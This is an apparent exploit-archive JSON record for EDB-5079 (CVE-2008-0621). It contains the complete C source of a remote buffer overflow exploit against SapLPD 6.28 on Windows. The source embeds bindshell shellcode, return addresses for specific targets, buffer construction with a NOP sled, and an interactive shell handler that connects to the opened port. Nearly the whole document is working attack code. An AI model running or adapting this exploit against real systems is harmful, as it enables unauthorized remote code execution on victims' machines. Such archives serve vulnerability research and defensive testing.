{"exploit":{"id":"EDB-5079","name":"SapLPD 6.28 (Windows x86) - Remote Buffer Overflow","description":"SapLPD 6.28 (Windows x86) - Remote Buffer Overflow","cves":["CVE-2008-0621"],"author":"BackBone","published":"2008-02-07","platform":"windows_x86","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5079","path":"exploits/windows_x86/remote/5079.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5079.c","vulnerabilities":[{"id":"CVE-2008-0621","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in SAPLPD 6.28 and earlier included in SAP GUI 7.10 and SAPSprint before 1018 allows remote attackers to execute arbitrary code via long arguments to the (1) 0x01, (2) 0x02, (3) 0x03, (4) 0x04, and (5) 0x05 LPD commands.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0621","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-0621"},"updatedAt":"2024-08-07T07:54:23.070Z","retrievedAt":"2026-11-26T23:08:21.585Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5079.png?v=2","url":"https://exploitbin.com/exploits/EDB-5079","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5079/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5079/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\thttp://lists.grok.org.uk/pipermail/full-disclosure/2008-February/060042.html\n\n\tExploit for SapLPD 6.28 Win32 by BackBone\n\tTested with SapLPD 6.28 on Windows XP SP2\n\n\tGroetjes aan mijn sletjes Ops,Doop,Gabber,head,ps,sj,dd en de rest!\n*/\n\n#include <stdio.h>\n#include <winsock2.h>\n#include <windows.h>\n#pragma comment (lib,\"ws2_32\")\n\n#define DEFAULT_PORT 515\n\nchar ASCII_SHIT[]=\n\"\\r\\n\"\n\"\\t\\t   ______              ______\\r\\n\"\n\"\\t\\t  (, /   )        /)  (, /   )\\r\\n\"\n\"\\t\\t    /---(  _   _ (/_    /---(  _____    _\\r\\n\"\n\"\\t\\t ) / ____)(_(_(__/(__) / ____)(_) / (__(/_\\r\\n\"\n\"\\t\\t(_/ (               (_/ (    (c) 2008\\r\\n\"\n\"\\r\\n\";\n\nstruct\n{\n\tLPSTR lpVersion;\n\tDWORD dwOffset;\n\tDWORD dwRetAddr;\n\tBYTE  bLPDCmd;\n}\ntargets[]=\n{\n\t// exploit works with cmd 0x01,0x02,0x03,...\n\t{\"SAPLPD Version 6.28 for Windows/NT (TEST)\",484,0x0012F0A1,0x01}, // addr of shellcode -> 0x0012F0A1\n\t{\"SAPLPD Version 6.28 for Windows/NT\",484,0x004E0BB7,0x01}, // jmp esp 0x004E0BB7 -> SAPLpd.exe 6.28\n},v;\n\n\n// don't change the offset\n#define PORT_OFFSET 170\n#define BIND_PORT   10282\n\n// bindshell shellcode from www.metasploit.com,mod by skylined\nunsigned char shellcode[] =\n  \"\\xeb\\x43\\x56\\x57\\x8b\\x45\\x3c\\x8b\\x54\\x05\\x78\\x01\\xea\\x52\\x8b\\x52\"\n  \"\\x20\\x01\\xea\\x31\\xc0\\x31\\xc9\\x41\\x8b\\x34\\x8a\\x01\\xee\\x31\\xff\\xc1\"\n  \"\\xcf\\x13\\xac\\x01\\xc7\\x85\\xc0\\x75\\xf6\\x39\\xdf\\x75\\xea\\x5a\\x8b\\x5a\"\n  \"\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01\"\n  \"\\xe8\\x5f\\x5e\\xff\\xe0\\xfc\\x31\\xc0\\x64\\x8b\\x40\\x30\\x8b\\x40\\x0c\\x8b\"\n  \"\\x70\\x1c\\xad\\x8b\\x68\\x08\\x31\\xc0\\x66\\xb8\\x6c\\x6c\\x50\\x68\\x33\\x32\"\n  \"\\x2e\\x64\\x68\\x77\\x73\\x32\\x5f\\x54\\xbb\\x71\\xa7\\xe8\\xfe\\xe8\\x90\\xff\"\n  \"\\xff\\xff\\x89\\xef\\x89\\xc5\\x81\\xc4\\x70\\xfe\\xff\\xff\\x54\\x31\\xc0\\xfe\"\n  \"\\xc4\\x40\\x50\\xbb\\x22\\x7d\\xab\\x7d\\xe8\\x75\\xff\\xff\\xff\\x31\\xc0\\x50\"\n  \"\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\xbb\\xa6\\x55\\x34\\x79\\xe8\\x61\\xff\\xff\"\n  \"\\xff\\x89\\xc6\\x31\\xc0\\x50\\x50\\x35\\x02\\x01\\x70\\xcc\\xfe\\xcc\\x50\\x89\"\n  \"\\xe0\\x50\\x6a\\x10\\x50\\x56\\xbb\\x81\\xb4\\x2c\\xbe\\xe8\\x42\\xff\\xff\\xff\"\n  \"\\x31\\xc0\\x50\\x56\\xbb\\xd3\\xfa\\x58\\x9b\\xe8\\x34\\xff\\xff\\xff\\x58\\x60\"\n  \"\\x6a\\x10\\x54\\x50\\x56\\xbb\\x47\\xf3\\x56\\xc6\\xe8\\x23\\xff\\xff\\xff\\x89\"\n  \"\\xc6\\x31\\xdb\\x53\\x68\\x2e\\x63\\x6d\\x64\\x89\\xe1\\x41\\x31\\xdb\\x56\\x56\"\n  \"\\x56\\x53\\x53\\x31\\xc0\\xfe\\xc4\\x40\\x50\\x53\\x53\\x53\\x53\\x53\\x53\\x53\"\n  \"\\x53\\x53\\x53\\x6a\\x44\\x89\\xe0\\x53\\x53\\x53\\x53\\x54\\x50\\x53\\x53\\x53\"\n  \"\\x43\\x53\\x4b\\x53\\x53\\x51\\x53\\x87\\xfd\\xbb\\x21\\xd0\\x05\\xd0\\xe8\\xdf\"\n  \"\\xfe\\xff\\xff\\x5b\\x31\\xc0\\x48\\x50\\x53\\xbb\\x43\\xcb\\x8d\\x5f\\xe8\\xcf\"\n  \"\\xfe\\xff\\xff\\x56\\x87\\xef\\xbb\\x12\\x6b\\x6d\\xd0\\xe8\\xc2\\xfe\\xff\\xff\"\n  \"\\x83\\xc4\\x5c\\x61\\xeb\\x89\";\n\n#define SET_BIND_PORT(p) *(USHORT*)(shellcode+PORT_OFFSET)=htons(p);\n\nBOOL StartupWinsock(void)\n{\n\tWSADATA wsa;\n\n\treturn !WSAStartup(MAKEWORD(2,0),&wsa);\n}\n\nDWORD LookupAddress(LPSTR lpHost)\n{\n\tDWORD dwRemoteAddr=inet_addr(lpHost);\n\n\tif (dwRemoteAddr==INADDR_NONE)\n\t{\n\t\tstruct hostent* pHostEnt=gethostbyname(lpHost);\n\t\tif (pHostEnt==0)\n\t\t\treturn INADDR_NONE;\n\t\tdwRemoteAddr = *((DWORD*)pHostEnt->h_addr_list[0]);\n\t}\n\n\treturn dwRemoteAddr;\n}\n\nSOCKET TCPConnect(DWORD dwIP,WORD wPort,DWORD dwTimeout)\n{\n\tstruct sockaddr_in sock_in;\n\tstruct timeval timeout;\n\tDWORD fdWrite[2];\n\tDWORD fdExcept[2];\n\tSOCKET s;\n\tint slResult;\n\tint val=1,len=sizeof(int);\n\n\ts=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\n\tif (s==INVALID_SOCKET)\n\t\treturn SOCKET_ERROR;\n\n\tioctlsocket(s,FIONBIO,(u_long*)&val);\n\n\tfdWrite[0]=fdExcept[0]=1;\n\tfdWrite[1]=fdExcept[1]=s;\n\n\tmemset(&sock_in,0,sizeof(sock_in));\n\tsock_in.sin_port=wPort;\n\tsock_in.sin_family=AF_INET;\n\tsock_in.sin_addr.s_addr=dwIP;\n\n\tconnect(s,(struct sockaddr*)&sock_in,sizeof(sock_in));\n\n\ttimeout.tv_sec=dwTimeout/1000;\n\ttimeout.tv_usec=dwTimeout%1000;\n\n\tslResult=select(0,NULL,(fd_set*)&fdWrite,(fd_set*)&fdExcept,&timeout);\n\tswitch(slResult)\n\t{\n\t\tcase -1:\n\t\tcase 0:\n\t\t{\n\t\t\tclosesocket(s);\n\t\t\treturn SOCKET_ERROR;\n\t\t}\n\n\t\tdefault:\n\t\t{\n\t\t\tif (!FD_ISSET(s,(fd_set*)&fdExcept))\n\t\t\t{\n\t\t\t\tval=0;ioctlsocket(s,FIONBIO,(u_long*)&val);\n\t\t\t\treturn s;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tclosesocket(s);\n\treturn SOCKET_ERROR;\n}\n\n/* ripped from TESO code and modifed by ey4s for win32 */\nvoid Shell(int s)\n{\n\tint l;\n\tchar buf[512];\n\tstruct timeval time;\n\tunsigned long ul[2];\n\n\ttime.tv_sec=1;\n\ttime.tv_usec=0;\n\n\twhile(1)\n\t{\n\t\tul[0]=1;\n\t\tul[1]=s;\n\n\t\tl=select(0,(fd_set*)&ul,NULL,NULL,&time);\n\t\tif(l==1)\n\t\t{\n\t\t\tl=recv(s,buf,sizeof(buf),0);\n\t\t\tif (l<=0)\n\t\t\t{\n\t\t\t\tprintf(\"\\r\\n[-] connection closed.\\n\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tl=write(1,buf,l);\n\t\t\tif (l<=0)\n\t\t\t{\n\t\t\t\tprintf(\"\\r\\n[-] connection closed.\\n\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t    {\n\t\t\tl=read(0,buf,sizeof(buf));\n\t\t\tif (l<=0)\n\t\t\t{\n\t\t\t\tprintf(\"\\r\\n[-] connection closed.\\n\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tl=send(s,buf,l,0);\n\t\t\tif (l<=0)\n\t\t\t{\n\t\t\t\tprintf(\"\\r\\n[-] connection closed.\\n\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid ShowBanner(void)\n{\n\tprintf(\"%s\",ASCII_SHIT);\n}\n\nvoid ShowSploit(void)\n{\n\tprintf(\"\\t\\tSAPlpd 6.28 Multiple Remote Buffer Overflows\\r\\n\");\n\tprintf(\"\\t\\t        Advisory by Luigi Auriemma\\r\\n\");\n\tprintf(\"\\t\\t           Exploit By BackBone\\r\\n\");\n\tprintf(\"\\r\\n\");\n}\n\nvoid ShowUsage(char* argv)\n{\n\tint i;\n\n\tprintf(\"[*] %s host/ip[:port] target [bindport]\\r\\n\",argv);\n\tprintf(\"[*] Default port: %d - Default bindport: %d\\r\\n\",DEFAULT_PORT,BIND_PORT);\n\tprintf(\"[*] Target(s):\\r\\n\\r\\n\");\n\tfor (i=0;i<(sizeof(targets)/sizeof(v));i++)\n\t\tprintf(\"\\t%2d: %s (0x%08x)\\r\\n\",i,targets[i].lpVersion,targets[i].dwRetAddr);\n}\n\nint main(int argc, char* argv[])\n{\n\tLPSTR lpHost,lpPort;\n\tULONG ulIP;\n\tUSHORT usPort;\n\tUSHORT usBindPort;\n\tSOCKET sSock;\n\tint iTarget;\n\tint iLen=0;\n\tchar lpBuffer[16384];\n\n\tShowBanner();\n\tShowSploit();\n\n\t// check arguments\n\tif (argc<3||argc>4)\n\t{\n\t\tShowUsage(argv[0]);\n\t\treturn -1;\n\t}\n\n\t// get host/ip\n\tlpHost=strtok(argv[1],\":\");\n\t// get port\n\tlpPort=strtok(NULL,\":\");\n\tif (lpPort)\tusPort=(USHORT)atoi(lpPort);\n\telse usPort=DEFAULT_PORT;\n\n\t// startup winsock\n\tif (!StartupWinsock())\n\t{\n\t\tprintf(\"[-] WSAStartup() Failed.\\r\\n\");\n\t\treturn -1;\n\t}\n\n\t// resolve host\n\tulIP=LookupAddress(lpHost);\n\tif (ulIP==INADDR_NONE)\n\t{\n\t\tprintf(\"[-] Invalid IP/Host.\\r\\n\");\n\t\tWSACleanup();\n\t\treturn -1;\n\t}\n\n\t// get target\n\tiTarget=atoi(argv[2]);\n\tif (iTarget<0||iTarget>(sizeof(targets)/sizeof(v))-1)\n\t{\n\t\tprintf(\"[-] Invalid target.\\r\\n\");\n\t\tWSACleanup();\n\t\treturn -1;\n\t}\n\n\tprintf(\"[+] Target: %s (0x%08x)\\r\\n\",targets[iTarget].lpVersion,targets[iTarget].dwRetAddr);\n\n\tif (argc==4) usBindPort=(USHORT)atoi(argv[3]);\n\telse usBindPort=BIND_PORT;\n\tSET_BIND_PORT(usBindPort);\n\n\t// connecting\n\tprintf(\"[+] Connecting to %d.%d.%d.%d:%d ... \",ulIP&0xFF,(ulIP>>8)&0xFF,\n\t\t(ulIP>>16)&0xFF,(ulIP>>24)&0xFF,usPort);\n\n\t// connect\n\tsSock=TCPConnect(ulIP,htons(usPort),10000);\n\tif (sSock==SOCKET_ERROR)\n\t{\n\t\tprintf(\"Failed!\\r\\n\");\n\t\tWSACleanup();\n\t\treturn -1;\n\t}\n\n\tprintf(\"Ok.\\r\\n\");\n\n\t// construct buffer\n\tmemset(lpBuffer,0,sizeof(lpBuffer));\n\n\t*lpBuffer=targets[iTarget].bLPDCmd;\n\tiLen+=1;\n\n\tmemset(lpBuffer+iLen,0x90,targets[iTarget].dwOffset-sizeof(shellcode));\n\tiLen+=targets[iTarget].dwOffset-sizeof(shellcode);\n\n\tmemcpy(lpBuffer+iLen,shellcode,sizeof(shellcode));\n\tiLen+=sizeof(shellcode);\n\n\tmemcpy(lpBuffer+iLen,&targets[iTarget].dwRetAddr,4);\n\tiLen+=4;\n\n\tmemcpy(lpBuffer+iLen,\"\\xE9\\x98\\x08\\x00\\x00\",5); // jmp esp will execute this code, jmp to shellcode\n\tiLen+=5;\n\n\tmemset(lpBuffer+iLen,0x41,1);// saplpd zeroes this byte\n\tiLen+=1;\n\n\tprintf(\"[+] Sending buffer (size:%d) ... \",iLen);\n\n\t// send buffer\n\tif (send(sSock,lpBuffer,iLen,0)<=0)\n\t{\n\t\tprintf(\"Failed!\\r\\n\");\n\t\tWSACleanup();\n\t\treturn -1;\n\t}\n\n\tprintf(\"Ok.\\r\\n\");\n\n\tclosesocket(sSock);\n\n\tSleep(1000);\n\n\t// connecting\n\tprintf(\"[+] Connecting to %d.%d.%d.%d:%d ... \",ulIP&0xFF,(ulIP>>8)&0xFF,\n\t\t(ulIP>>16)&0xFF,(ulIP>>24)&0xFF,usBindPort);\n\n\t// connect to bindshell\n\tsSock=TCPConnect(ulIP,htons(usBindPort),10000);\n\tif (sSock==SOCKET_ERROR)\n\t{\n\t\tprintf(\"Failed!\\r\\n\");\n\t\tWSACleanup();\n\t\treturn -1;\n\t}\n\n\tprintf(\"Ok.\\r\\n\\r\\n\");\n\n\t// shell\n\tShell(sSock);\n\n\tclosesocket(sSock);\n\n\tWSACleanup();\n\n\treturn 0;\n}\n\n// milw0rm.com [2008-02-07]","sha256":"c83f9677b2ed966f3c493630645ddebab9821e065a14742999e8831531ad685e","bytes":7902,"fetchedAt":"2026-11-26T23:08:18.413Z","encoding":"utf-8 (display only; download retains original bytes)"}